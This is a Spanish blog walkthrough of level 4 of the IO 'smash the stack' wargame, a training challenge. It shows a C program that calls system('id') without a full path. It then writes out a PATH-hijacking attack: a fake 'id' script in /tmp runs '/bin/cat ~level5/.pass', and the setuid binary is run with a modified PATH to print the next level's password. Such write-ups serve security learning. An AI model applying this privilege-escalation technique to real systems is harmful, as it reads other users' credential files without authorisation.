systemadmin.es > Programación > IO wargame (smash the stack) level 4

IO wargame (smash the stack) level 4

En este nivel se abusa se la variable PATH para conseguir la contraseña del siguiente nivel. Vamos a ver como:

PATHfinder project

PATHfinder project

El código que se nos propone es el siguiente:

#include <stdlib.h>

int main() {
	
	system("id");

	return 0;
}

Como que no esta usando el PATH completo esta delegando la ejecución del comando id a los binarios que se encuentren dentro del PATH. Podemos entonces abusar de dicho binario modificando el PATH según nos convenga.

Primero creamos un directorio temporal:

level4@io:/levels$ mkdir /tmp/systemadmin.es.jordi
level4@io:/levels$ cd !$
cd /tmp/systemadmin.es.jordi

Allí creamos un fichero llamado id con la acción que nos interese realizar (obtener el password del siguiente nivel) y le damos permisos de ejecución:

level4@io:/tmp/systemadmin.es.jordi$ cat <<EOF > id
> /bin/cat ~level5/.pass
> EOF
level4@io:/tmp/systemadmin.es.jordi$ chmod +x id

A continuación ya podemos ejecutar el binario con el PATH en el directorio dónde tenemos nuestro id, obteniendo el password del siguiente nivel:

level4@io:/tmp/systemadmin.es.jordi$ PATH="/tmp/systemadmin.es.jordi" /levels/level04
wj9mttkm

El listado de soluciones de otros niveles del wargame de IO de smash the stack es el siguiente:

Deja un comentario:

XHTML - Tags permitidos:<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>